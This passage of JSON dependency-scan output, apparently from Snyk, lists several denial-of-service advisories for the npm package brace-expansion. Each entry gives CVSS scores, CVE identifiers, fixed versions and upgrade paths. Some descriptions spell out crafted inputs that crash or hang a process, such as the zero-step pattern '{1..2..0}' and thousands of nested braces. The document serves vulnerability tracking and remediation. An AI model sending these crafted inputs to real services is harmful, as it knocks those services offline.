"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
